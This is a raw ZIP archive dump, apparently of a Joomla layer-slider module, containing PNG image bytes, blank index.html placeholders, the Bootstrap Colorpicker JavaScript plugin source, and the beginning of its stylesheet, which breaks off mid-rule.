�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATxڬW�u!	
H�P��N�EJ�\v�@H ���ޕG�A#!$��Tb��C��؃��`���H�>��ˀl��1�S��~8��!r�-#�В����h�w���PW�\�0�!��}�pti+��{WS35�,1ϣ&��C�� �}&$?m�W+L�D�X��inC����ױ�� F=S��
n
]Hs]2�B�a��T�Z�au�4��kz�=״�����p
���꼤��5�������lsI�Ly�PLu�|�3%0!^�L�3S;xGTǒ�3�$P;�Ÿ�֖C�c���z2u����|33��KͶ�zt-�b[�}5�{f��a���3z(���F��T;���9�f��l��5t'XFR��
<�f�Пdo�hrq�6��gpG���
�@Ҭ��ⓙ��5E���,L3�Ӫ���4�͖+�N�R�Zg��:�M-������.��r��L+�F!�j&��P"f&�A����v^�\��p�<a������
�YHIEND�B`�PK!�#o,,9mod_ap_smart_layerslider/admin/colorpicker/img/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!��bA����Fmod_ap_smart_layerslider/admin/colorpicker/js/bootstrap-colorpicker.jsnu&1i�/*!
 * Bootstrap Colorpicker
 * http://mjolnic.github.io/bootstrap-colorpicker/
 *
 * Originally written by (c) 2012 Stefan Petre
 * Licensed under the Apache License v2.0
 * http://www.apache.org/licenses/LICENSE-2.0.txt
 *
 * @todo Update DOCS
 */

(function(factory) {
        "use strict";
        if (typeof define === 'function' && define.amd) {
            define(['jquery'], factory);
        } else if (window.jQuery && !window.jQuery.fn.colorpicker) {
            factory(window.jQuery);
        }
    }
    (function($) {
        'use strict';

        // Color object
        var Color = function(val) {
            this.value = {
                h: 0,
                s: 0,
                b: 0,
                a: 1
            };
            this.origFormat = null; // original string format
            if (val) {
                if (val.toLowerCase !== undefined) {
                    this.setColor(val);
                } else if (val.h !== undefined) {
                    this.value = val;
                }
            }
        };

        Color.prototype = {
            constructor: Color,
            // 140 predefined colors from the HTML Colors spec
            colors: {
                "aliceblue": "#f0f8ff",
                "antiquewhite": "#faebd7",
                "aqua": "#00ffff",
                "aquamarine": "#7fffd4",
                "azure": "#f0ffff",
                "beige": "#f5f5dc",
                "bisque": "#ffe4c4",
                "black": "#000000",
                "blanchedalmond": "#ffebcd",
                "blue": "#0000ff",
                "blueviolet": "#8a2be2",
                "brown": "#a52a2a",
                "burlywood": "#deb887",
                "cadetblue": "#5f9ea0",
                "chartreuse": "#7fff00",
                "chocolate": "#d2691e",
                "coral": "#ff7f50",
                "cornflowerblue": "#6495ed",
                "cornsilk": "#fff8dc",
                "crimson": "#dc143c",
                "cyan": "#00ffff",
                "darkblue": "#00008b",
                "darkcyan": "#008b8b",
                "darkgoldenrod": "#b8860b",
                "darkgray": "#a9a9a9",
                "darkgreen": "#006400",
                "darkkhaki": "#bdb76b",
                "darkmagenta": "#8b008b",
                "darkolivegreen": "#556b2f",
                "darkorange": "#ff8c00",
                "darkorchid": "#9932cc",
                "darkred": "#8b0000",
                "darksalmon": "#e9967a",
                "darkseagreen": "#8fbc8f",
                "darkslateblue": "#483d8b",
                "darkslategray": "#2f4f4f",
                "darkturquoise": "#00ced1",
                "darkviolet": "#9400d3",
                "deeppink": "#ff1493",
                "deepskyblue": "#00bfff",
                "dimgray": "#696969",
                "dodgerblue": "#1e90ff",
                "firebrick": "#b22222",
                "floralwhite": "#fffaf0",
                "forestgreen": "#228b22",
                "fuchsia": "#ff00ff",
                "gainsboro": "#dcdcdc",
                "ghostwhite": "#f8f8ff",
                "gold": "#ffd700",
                "goldenrod": "#daa520",
                "gray": "#808080",
                "green": "#008000",
                "greenyellow": "#adff2f",
                "honeydew": "#f0fff0",
                "hotpink": "#ff69b4",
                "indianred ": "#cd5c5c",
                "indigo ": "#4b0082",
                "ivory": "#fffff0",
                "khaki": "#f0e68c",
                "lavender": "#e6e6fa",
                "lavenderblush": "#fff0f5",
                "lawngreen": "#7cfc00",
                "lemonchiffon": "#fffacd",
                "lightblue": "#add8e6",
                "lightcoral": "#f08080",
                "lightcyan": "#e0ffff",
                "lightgoldenrodyellow": "#fafad2",
                "lightgrey": "#d3d3d3",
                "lightgreen": "#90ee90",
                "lightpink": "#ffb6c1",
                "lightsalmon": "#ffa07a",
                "lightseagreen": "#20b2aa",
                "lightskyblue": "#87cefa",
                "lightslategray": "#778899",
                "lightsteelblue": "#b0c4de",
                "lightyellow": "#ffffe0",
                "lime": "#00ff00",
                "limegreen": "#32cd32",
                "linen": "#faf0e6",
                "magenta": "#ff00ff",
                "maroon": "#800000",
                "mediumaquamarine": "#66cdaa",
                "mediumblue": "#0000cd",
                "mediumorchid": "#ba55d3",
                "mediumpurple": "#9370d8",
                "mediumseagreen": "#3cb371",
                "mediumslateblue": "#7b68ee",
                "mediumspringgreen": "#00fa9a",
                "mediumturquoise": "#48d1cc",
                "mediumvioletred": "#c71585",
                "midnightblue": "#191970",
                "mintcream": "#f5fffa",
                "mistyrose": "#ffe4e1",
                "moccasin": "#ffe4b5",
                "navajowhite": "#ffdead",
                "navy": "#000080",
                "oldlace": "#fdf5e6",
                "olive": "#808000",
                "olivedrab": "#6b8e23",
                "orange": "#ffa500",
                "orangered": "#ff4500",
                "orchid": "#da70d6",
                "palegoldenrod": "#eee8aa",
                "palegreen": "#98fb98",
                "paleturquoise": "#afeeee",
                "palevioletred": "#d87093",
                "papayawhip": "#ffefd5",
                "peachpuff": "#ffdab9",
                "peru": "#cd853f",
                "pink": "#ffc0cb",
                "plum": "#dda0dd",
                "powderblue": "#b0e0e6",
                "purple": "#800080",
                "red": "#ff0000",
                "rosybrown": "#bc8f8f",
                "royalblue": "#4169e1",
                "saddlebrown": "#8b4513",
                "salmon": "#fa8072",
                "sandybrown": "#f4a460",
                "seagreen": "#2e8b57",
                "seashell": "#fff5ee",
                "sienna": "#a0522d",
                "silver": "#c0c0c0",
                "skyblue": "#87ceeb",
                "slateblue": "#6a5acd",
                "slategray": "#708090",
                "snow": "#fffafa",
                "springgreen": "#00ff7f",
                "steelblue": "#4682b4",
                "tan": "#d2b48c",
                "teal": "#008080",
                "thistle": "#d8bfd8",
                "tomato": "#ff6347",
                "turquoise": "#40e0d0",
                "violet": "#ee82ee",
                "wheat": "#f5deb3",
                "white": "#ffffff",
                "whitesmoke": "#f5f5f5",
                "yellow": "#ffff00",
                "yellowgreen": "#9acd32"
            },
            _sanitizeNumber: function(val) {
                if (typeof val === 'number') {
                    return val;
                }
                if (isNaN(val) || (val === null) || (val === '') || (val === undefined)) {
                    return 1;
                }
                if (val.toLowerCase !== undefined) {
                    return parseFloat(val);
                }
                return 1;
            },
            //parse a string to HSB
            setColor: function(strVal) {
                strVal = strVal.toLowerCase();
                this.value = this.stringToHSB(strVal) || {
                    h: 0,
                    s: 0,
                    b: 0,
                    a: 1
                };
            },
            stringToHSB: function(strVal) {
                strVal = strVal.toLowerCase();
                var that = this,
                    result = false;
                $.each(this.stringParsers, function(i, parser) {
                    var match = parser.re.exec(strVal),
                        values = match && parser.parse.apply(that, [match]),
                        format = parser.format || 'rgba';
                    if (values) {
                        if (format.match(/hsla?/)) {
                            result = that.RGBtoHSB.apply(that, that.HSLtoRGB.apply(that, values));
                        } else {
                            result = that.RGBtoHSB.apply(that, values);
                        }
                        that.origFormat = format;
                        return false;
                    }
                    return true;
                });
                return result;
            },
            setHue: function(h) {
                this.value.h = 1 - h;
            },
            setSaturation: function(s) {
                this.value.s = s;
            },
            setBrightness: function(b) {
                this.value.b = 1 - b;
            },
            setAlpha: function(a) {
                this.value.a = parseInt((1 - a) * 100, 10) / 100;
            },
            toRGB: function(h, s, b, a) {
                if (!h) {
                    h = this.value.h;
                    s = this.value.s;
                    b = this.value.b;
                }
                h *= 360;
                var R, G, B, X, C;
                h = (h % 360) / 60;
                C = b * s;
                X = C * (1 - Math.abs(h % 2 - 1));
                R = G = B = b - C;

                h = ~~h;
                R += [C, X, 0, 0, X, C][h];
                G += [X, C, C, X, 0, 0][h];
                B += [0, 0, X, C, C, X][h];
                return {
                    r: Math.round(R * 255),
                    g: Math.round(G * 255),
                    b: Math.round(B * 255),
                    a: a || this.value.a
                };
            },
            toHex: function(h, s, b, a) {
                var rgb = this.toRGB(h, s, b, a);
                return '#' + ((1 << 24) | (parseInt(rgb.r) << 16) | (parseInt(rgb.g) << 8) | parseInt(rgb.b)).toString(16).substr(1);
            },
            toHSL: function(h, s, b, a) {
                h = h || this.value.h;
                s = s || this.value.s;
                b = b || this.value.b;
                a = a || this.value.a;

                var H = h,
                    L = (2 - s) * b,
                    S = s * b;
                if (L > 0 && L <= 1) {
                    S /= L;
                } else {
                    S /= 2 - L;
                }
                L /= 2;
                if (S > 1) {
                    S = 1;
                }
                return {
                    h: isNaN(H) ? 0 : H,
                    s: isNaN(S) ? 0 : S,
                    l: isNaN(L) ? 0 : L,
                    a: isNaN(a) ? 0 : a,
                };
            },
            toAlias: function(r, g, b, a) {
                var rgb = this.toHex(r, g, b, a);
                for (var alias in this.colors) {
                    if (this.colors[alias] == rgb) {
                        return alias;
                    }
                }
                return false;
            },
            RGBtoHSB: function(r, g, b, a) {
                r /= 255;
                g /= 255;
                b /= 255;

                var H, S, V, C;
                V = Math.max(r, g, b);
                C = V - Math.min(r, g, b);
                H = (C === 0 ? null :
                    V === r ? (g - b) / C :
                    V === g ? (b - r) / C + 2 :
                    (r - g) / C + 4
                );
                H = ((H + 360) % 6) * 60 / 360;
                S = C === 0 ? 0 : C / V;
                return {
                    h: this._sanitizeNumber(H),
                    s: S,
                    b: V,
                    a: this._sanitizeNumber(a)
                };
            },
            HueToRGB: function(p, q, h) {
                if (h < 0) {
                    h += 1;
                } else if (h > 1) {
                    h -= 1;
                }
                if ((h * 6) < 1) {
                    return p + (q - p) * h * 6;
                } else if ((h * 2) < 1) {
                    return q;
                } else if ((h * 3) < 2) {
                    return p + (q - p) * ((2 / 3) - h) * 6;
                } else {
                    return p;
                }
            },
            HSLtoRGB: function(h, s, l, a) {
                if (s < 0) {
                    s = 0;
                }
                var q;
                if (l <= 0.5) {
                    q = l * (1 + s);
                } else {
                    q = l + s - (l * s);
                }

                var p = 2 * l - q;

                var tr = h + (1 / 3);
                var tg = h;
                var tb = h - (1 / 3);

                var r = Math.round(this.HueToRGB(p, q, tr) * 255);
                var g = Math.round(this.HueToRGB(p, q, tg) * 255);
                var b = Math.round(this.HueToRGB(p, q, tb) * 255);
                return [r, g, b, this._sanitizeNumber(a)];
            },
            toString: function(format) {
                format = format || 'rgba';
                switch (format) {
                    case 'rgb':
                        {
                            var rgb = this.toRGB();
                            return 'rgb(' + rgb.r + ',' + rgb.g + ',' + rgb.b + ')';
                        }
                        break;
                    case 'rgba':
                        {
                            var rgb = this.toRGB();
                            return 'rgba(' + rgb.r + ',' + rgb.g + ',' + rgb.b + ',' + rgb.a + ')';
                        }
                        break;
                    case 'hsl':
                        {
                            var hsl = this.toHSL();
                            return 'hsl(' + Math.round(hsl.h * 360) + ',' + Math.round(hsl.s * 100) + '%,' + Math.round(hsl.l * 100) + '%)';
                        }
                        break;
                    case 'hsla':
                        {
                            var hsl = this.toHSL();
                            return 'hsla(' + Math.round(hsl.h * 360) + ',' + Math.round(hsl.s * 100) + '%,' + Math.round(hsl.l * 100) + '%,' + hsl.a + ')';
                        }
                        break;
                    case 'hex':
                        {
                            return this.toHex();
                        }
                        break;
                    case 'alias':
                        return this.toAlias() || this.toHex();
                    default:
                        {
                            return false;
                        }
                        break;
                }
            },
            // a set of RE's that can match strings and generate color tuples.
            // from John Resig color plugin
            // https://github.com/jquery/jquery-color/
            stringParsers: [{
                re: /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/,
                format: 'hex',
                parse: function(execResult) {
                    return [
                        parseInt(execResult[1], 16),
                        parseInt(execResult[2], 16),
                        parseInt(execResult[3], 16),
                        1
                    ];
                }
            }, {
                re: /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/,
                format: 'hex',
                parse: function(execResult) {
                    return [
                        parseInt(execResult[1] + execResult[1], 16),
                        parseInt(execResult[2] + execResult[2], 16),
                        parseInt(execResult[3] + execResult[3], 16),
                        1
                    ];
                }
            }, {
                re: /rgb\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*?\)/,
                format: 'rgb',
                parse: function(execResult) {
                    return [
                        execResult[1],
                        execResult[2],
                        execResult[3],
                        1
                    ];
                }
            }, {
                re: /rgb\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*?\)/,
                format: 'rgb',
                parse: function(execResult) {
                    return [
                        2.55 * execResult[1],
                        2.55 * execResult[2],
                        2.55 * execResult[3],
                        1
                    ];
                }
            }, {
                re: /rgba\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d+(?:\.\d+)?)\s*)?\)/,
                format: 'rgba',
                parse: function(execResult) {
                    return [
                        execResult[1],
                        execResult[2],
                        execResult[3],
                        execResult[4]
                    ];
                }
            }, {
                re: /rgba\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d+(?:\.\d+)?)\s*)?\)/,
                format: 'rgba',
                parse: function(execResult) {
                    return [
                        2.55 * execResult[1],
                        2.55 * execResult[2],
                        2.55 * execResult[3],
                        execResult[4]
                    ];
                }
            }, {
                re: /hsl\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*?\)/,
                format: 'hsl',
                parse: function(execResult) {
                    return [
                        execResult[1] / 360,
                        execResult[2] / 100,
                        execResult[3] / 100,
                        execResult[4]
                    ];
                }
            }, {
                re: /hsla\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d+(?:\.\d+)?)\s*)?\)/,
                format: 'hsla',
                parse: function(execResult) {
                    return [
                        execResult[1] / 360,
                        execResult[2] / 100,
                        execResult[3] / 100,
                        execResult[4]
                    ];
                }
            }, {
                //predefined color name
                re: /^([a-z]{3,})$/,
                format: 'alias',
                parse: function(execResult) {
                    var hexval = this.colorNameToHex(execResult[0]) || '#000000';
                    var match = this.stringParsers[0].re.exec(hexval),
                        values = match && this.stringParsers[0].parse.apply(this, [match]);
                    return values;
                }
            }],
            colorNameToHex: function(name) {
                if (typeof this.colors[name.toLowerCase()] !== 'undefined') {
                    return this.colors[name.toLowerCase()];
                }
                return false;
            }
        };


        var defaults = {
            horizontal: false, // horizontal mode layout ?
            inline: false, //forces to show the colorpicker as an inline element
            color: false, //forces a color
            format: false, //forces a format
            input: 'input', // children input selector
            container: false, // container selector
            component: '.add-on, .input-group-addon', // children component selector
            sliders: {
                saturation: {
                    maxLeft: 100,
                    maxTop: 100,
                    callLeft: 'setSaturation',
                    callTop: 'setBrightness'
                },
                hue: {
                    maxLeft: 0,
                    maxTop: 100,
                    callLeft: false,
                    callTop: 'setHue'
                },
                alpha: {
                    maxLeft: 0,
                    maxTop: 100,
                    callLeft: false,
                    callTop: 'setAlpha'
                }
            },
            slidersHorz: {
                saturation: {
                    maxLeft: 100,
                    maxTop: 100,
                    callLeft: 'setSaturation',
                    callTop: 'setBrightness'
                },
                hue: {
                    maxLeft: 100,
                    maxTop: 0,
                    callLeft: 'setHue',
                    callTop: false
                },
                alpha: {
                    maxLeft: 100,
                    maxTop: 0,
                    callLeft: 'setAlpha',
                    callTop: false
                }
            },
            template: '<div class="colorpicker dropdown-menu">' +
                '<div class="colorpicker-saturation"><i><b></b></i></div>' +
                '<div class="colorpicker-hue"><i></i></div>' +
                '<div class="colorpicker-alpha"><i></i></div>' +
                '<div class="colorpicker-color"><div /></div>' +
                '</div>'
        };

        var Colorpicker = function(element, options) {
            this.element = $(element).addClass('colorpicker-element');
            this.options = $.extend({}, defaults, this.element.data(), options);
            this.component = this.options.component;
            this.component = (this.component !== false) ? this.element.find(this.component) : false;
            if (this.component && (this.component.length === 0)) {
                this.component = false;
            }
            this.container = (this.options.container === true) ? this.element : this.options.container;
            this.container = (this.container !== false) ? $(this.container) : false;

            // Is the element an input? Should we search inside for any input?
            this.input = this.element.is('input') ? this.element : (this.options.input ?
                this.element.find(this.options.input) : false);
            if (this.input && (this.input.length === 0)) {
                this.input = false;
            }
            // Set HSB color
            this.color = new Color(this.options.color !== false ? this.options.color : this.getValue());
            this.format = this.options.format !== false ? this.options.format : this.color.origFormat;

            // Setup picker
            this.picker = $(this.options.template);
            if (this.options.inline) {
                this.picker.addClass('colorpicker-inline colorpicker-visible');
            } else {
                this.picker.addClass('colorpicker-hidden');
            }
            if (this.options.horizontal) {
                this.picker.addClass('colorpicker-horizontal');
            }
            if (this.format === 'rgba' || this.format === 'hsla') {
                this.picker.addClass('colorpicker-with-alpha');
            }
            this.picker.on('mousedown.colorpicker', $.proxy(this.mousedown, this));
            this.picker.appendTo(this.container ? this.container : $('body'));

            // Bind events
            if (this.input !== false) {
                this.input.on({
                    'keyup.colorpicker': $.proxy(this.keyup, this)
                });
                if (this.component === false) {
                    this.element.on({
                        'focus.colorpicker': $.proxy(this.show, this)
                    });
                }
                if (this.options.inline === false) {
                    this.element.on({
                        'focusout.colorpicker': $.proxy(this.hide, this)
                    });
                }
            }

            if (this.component !== false) {
                this.component.on({
                    'click.colorpicker': $.proxy(this.show, this)
                });
            }

            if ((this.input === false) && (this.component === false)) {
                this.element.on({
                    'click.colorpicker': $.proxy(this.show, this)
                });
            }
            this.update();

            $($.proxy(function() {
                this.element.trigger('create');
            }, this));
        };

        Colorpicker.version = '2.0.0-beta';

        Colorpicker.Color = Color;

        Colorpicker.prototype = {
            constructor: Colorpicker,
            destroy: function() {
                this.picker.remove();
                this.element.removeData('colorpicker').off('.colorpicker');
                if (this.input !== false) {
                    this.input.off('.colorpicker');
                }
                if (this.component !== false) {
                    this.component.off('.colorpicker');
                }
                this.element.removeClass('colorpicker-element');
                this.element.trigger({
                    type: 'destroy'
                });
            },
            reposition: function() {
                if (this.options.inline !== false) {
                    return false;
                }
                var type = this.container && this.container[0] !== document.body ? 'position' : 'offset';
                var offset = this.component ? this.component[type]() : this.element[type]();
                this.picker.css({
                    top: offset.top + (this.component ? this.component.outerHeight() : this.element.outerHeight()),
                    left: offset.left
                });
            },
            show: function(e) {
                if (this.isDisabled()) {
                    return false;
                }
                this.picker.addClass('colorpicker-visible').removeClass('colorpicker-hidden');
                this.reposition();
                $(window).on('resize.colorpicker', $.proxy(this.reposition, this));
                if (!this.hasInput() && e) {
                    if (e.stopPropagation && e.preventDefault) {
                        e.stopPropagation();
                        e.preventDefault();
                    }
                }
                if (this.options.inline === false) {
                    $(window.document).on({
                        'mousedown.colorpicker': $.proxy(this.hide, this)
                    });
                }
                this.element.trigger({
                    type: 'showPicker',
                    color: this.color
                });
            },
            hide: function() {
                this.picker.addClass('colorpicker-hidden').removeClass('colorpicker-visible');
                $(window).off('resize.colorpicker', this.reposition);
                $(document).off({
                    'mousedown.colorpicker': this.hide
                });
                this.update();
                this.element.trigger({
                    type: 'hidePicker',
                    color: this.color
                });
            },
            updateData: function(val) {
                val = val || this.color.toString(this.format);
                this.element.data('color', val);
                return val;
            },
            updateInput: function(val) {
                val = val || this.color.toString(this.format);
                if (this.input !== false) {
                    this.input.prop('value', val);
                }
                return val;
            },
            updatePicker: function(val) {
                if (val !== undefined) {
                    this.color = new Color(val);
                }
                var sl = (this.options.horizontal === false) ? this.options.sliders : this.options.slidersHorz;
                var icns = this.picker.find('i');
                if (icns.length === 0) {
                    return;
                }
                if (this.options.horizontal === false) {
                    sl = this.options.sliders;
                    icns.eq(1).css('top', sl.hue.maxTop * (1 - this.color.value.h)).end()
                        .eq(2).css('top', sl.alpha.maxTop * (1 - this.color.value.a));
                } else {
                    sl = this.options.slidersHorz;
                    icns.eq(1).css('left', sl.hue.maxLeft * (1 - this.color.value.h)).end()
                        .eq(2).css('left', sl.alpha.maxLeft * (1 - this.color.value.a));
                }
                icns.eq(0).css({
                    'top': sl.saturation.maxTop - this.color.value.b * sl.saturation.maxTop,
                    'left': this.color.value.s * sl.saturation.maxLeft
                });
                this.picker.find('.colorpicker-saturation').css('backgroundColor', this.color.toHex(this.color.value.h, 1, 1, 1));
                this.picker.find('.colorpicker-alpha').css('backgroundColor', this.color.toHex());
                this.picker.find('.colorpicker-color, .colorpicker-color div').css('backgroundColor', this.color.toString(this.format));
                return val;
            },
            updateComponent: function(val) {
                val = val || this.color.toString(this.format);
                if (this.component !== false) {
                    var icn = this.component.find('i').eq(0);
                    if (icn.length > 0) {
                        icn.css({
                            'backgroundColor': val
                        });
                    } else {
                        this.component.css({
                            'backgroundColor': val
                        });
                    }
                }
                return val;
            },
            update: function(force) {
                var val = this.updateComponent();
                if ((this.getValue(false) !== false) || (force === true)) {
                    // Update input/data only if the current value is not blank
                    this.updateInput(val);
                    this.updateData(val);
                }
                this.updatePicker();
                return val;

            },
            setValue: function(val) { // set color manually
                this.color = new Color(val);
                this.update();
                this.element.trigger({
                    type: 'changeColor',
                    color: this.color,
                    value: val
                });
            },
            getValue: function(defaultValue) {
                defaultValue = (defaultValue === undefined) ? '#000000' : defaultValue;
                var val;
                if (this.hasInput()) {
                    val = this.input.val();
                } else {
                    val = this.element.data('color');
                }
                if ((val === undefined) || (val === '') || (val === null)) {
                    // if not defined or empty, return default
                    val = defaultValue;
                }
                return val;
            },
            hasInput: function() {
                return (this.input !== false);
            },
            isDisabled: function() {
                if (this.hasInput()) {
                    return (this.input.prop('disabled') === true);
                }
                return false;
            },
            disable: function() {
                if (this.hasInput()) {
                    this.input.prop('disabled', true);
                    return true;
                }
                return false;
            },
            enable: function() {
                if (this.hasInput()) {
                    this.input.prop('disabled', false);
                    return true;
                }
                return false;
            },
            currentSlider: null,
            mousePointer: {
                left: 0,
                top: 0
            },
            mousedown: function(e) {
                e.stopPropagation();
                e.preventDefault();

                var target = $(e.target);

                //detect the slider and set the limits and callbacks
                var zone = target.closest('div');
                var sl = this.options.horizontal ? this.options.slidersHorz : this.options.sliders;
                if (!zone.is('.colorpicker')) {
                    if (zone.is('.colorpicker-saturation')) {
                        this.currentSlider = $.extend({}, sl.saturation);
                    } else if (zone.is('.colorpicker-hue')) {
                        this.currentSlider = $.extend({}, sl.hue);
                    } else if (zone.is('.colorpicker-alpha')) {
                        this.currentSlider = $.extend({}, sl.alpha);
                    } else {
                        return false;
                    }
                    var offset = zone.offset();
                    //reference to guide's style
                    this.currentSlider.guide = zone.find('i')[0].style;
                    this.currentSlider.left = e.pageX - offset.left;
                    this.currentSlider.top = e.pageY - offset.top;
                    this.mousePointer = {
                        left: e.pageX,
                        top: e.pageY
                    };
                    //trigger mousemove to move the guide to the current position
                    $(document).on({
                        'mousemove.colorpicker': $.proxy(this.mousemove, this),
                        'mouseup.colorpicker': $.proxy(this.mouseup, this)
                    }).trigger('mousemove');
                }
                return false;
            },
            mousemove: function(e) {
                e.stopPropagation();
                e.preventDefault();
                var left = Math.max(
                    0,
                    Math.min(
                        this.currentSlider.maxLeft,
                        this.currentSlider.left + ((e.pageX || this.mousePointer.left) - this.mousePointer.left)
                    )
                );
                var top = Math.max(
                    0,
                    Math.min(
                        this.currentSlider.maxTop,
                        this.currentSlider.top + ((e.pageY || this.mousePointer.top) - this.mousePointer.top)
                    )
                );
                this.currentSlider.guide.left = left + 'px';
                this.currentSlider.guide.top = top + 'px';
                if (this.currentSlider.callLeft) {
                    this.color[this.currentSlider.callLeft].call(this.color, left / 100);
                }
                if (this.currentSlider.callTop) {
                    this.color[this.currentSlider.callTop].call(this.color, top / 100);
                }
                this.update(true);

                this.element.trigger({
                    type: 'changeColor',
                    color: this.color
                });
                return false;
            },
            mouseup: function(e) {
                e.stopPropagation();
                e.preventDefault();
                $(document).off({
                    'mousemove.colorpicker': this.mousemove,
                    'mouseup.colorpicker': this.mouseup
                });
                return false;
            },
            keyup: function(e) {
                if ((e.keyCode === 38)) {
                    if (this.color.value.a < 1) {
                        this.color.value.a = Math.round((this.color.value.a + 0.01) * 100) / 100;
                    }
                    this.update(true);
                } else if ((e.keyCode === 40)) {
                    if (this.color.value.a > 0) {
                        this.color.value.a = Math.round((this.color.value.a - 0.01) * 100) / 100;
                    }
                    this.update(true);
                } else {
                    var val = this.input.val();
                    this.color = new Color(val);
                    if (this.getValue(false) !== false) {
                        this.updateData();
                        this.updateComponent();
                        this.updatePicker();
                    }
                }
                this.element.trigger({
                    type: 'changeColor',
                    color: this.color,
                    value: val
                });
            }
        };

        $.colorpicker = Colorpicker;

        $.fn.colorpicker = function(option) {
            var pickerArgs = arguments;

            return this.each(function() {
                var $this = $(this),
                    inst = $this.data('colorpicker'),
                    options = ((typeof option === 'object') ? option : {});
                if ((!inst) && (typeof option !== 'string')) {
                    $this.data('colorpicker', new Colorpicker(this, options));
                } else {
                    if (typeof option === 'string') {
                        inst[option].apply(inst, Array.prototype.slice.call(pickerArgs, 1));
                    }
                }
            });
        };

        $.fn.colorpicker.constructor = Colorpicker;

    }));
PK!�#o,,8mod_ap_smart_layerslider/admin/colorpicker/js/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,,9mod_ap_smart_layerslider/admin/colorpicker/css/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�$�n��Hmod_ap_smart_layerslider/admin/colorpicker/css/bootstrap-colorpicker.cssnu&1i�/*!
 * Bootstrap Colorpicker
 * http://mjolnic.github.io/bootstrap-colorpicker/
 *
 * Originally written by (c) 2012 Stefan Petre
 * Licensed under the Apache License v2.0
 * http://www.apache.org/licenses/LICENSE-2.0.txt
 *
 */

.colorpicker-saturation {
  float: left;
  width: 100px;
  height: 100px;
  cursor: crosshair;
  background-image: url("../img/bootstrap-colorpicker/saturation.png");
}

.colorpicker-saturation i {
  position: absolute;
  top: 0;
  left: 0;
  display: block;
  width: 5px;
  height: 5px;
  margin: -4px 0 0 -4px;
  border: 1px solid #000;
  -webkit-border-radius: 5px;
     -moz-border-radius: 5px;
          border-radius: 5px;
}

.colorpicker-saturation i b {
  display: block;
  width: 5px;
  height: 5px;
  border: 1px solid #fff;
  -webkit-border-radius: 5px;
     -moz-border-radius: 5px;
          border-radius: 5px;
}

.colorpicker-hue,
.colorpicker-alpha {
  float: left;
  width: 15px;
  height: 100px;
  margin-bottom: 4px;
  margin-left: 4px;
  cursor: row-resize;
}

.colorpicker-hue i,
.colorpicker-alpha i {
  position: absolute;
  top: 0;
  left: 0;
  display: block;
  width: 100%;
  height: 1px;
  margin-top: -1px;
  background: red;
  border-top: 1px solid #fff;
}

.colorpicker-hue {
  background-image: url("../img/bootstrap-colorpicker/hue.png");
}

.colorpicker-alpha {
  display: none;
  background-image: url("../img/bootstrap-colorpicker/alpha.png");
}

.colorpicker {
  top: 0;
  left: 0;
  z-index: 2500;
  min-width: 130px;
  padding: 4px;
  margin-top: 1px;
  -webkit-border-radius: 4px;
     -moz-border-radius: 4px;
          border-radius: 4px;
  *zoom: 1;
}

.colorpicker:before,
.colorpicker:after {
  display: table;
  line-height: 0;
  content: "";
}

.colorpicker:after {
  clear: both;
}

.colorpicker:before {
  position: absolute;
  top: -7px;
  left: 6px;
  display: inline-block;
  border-right: 7px solid transparent;
  border-bottom: 7px solid #ccc;
  border-left: 7px solid transparent;
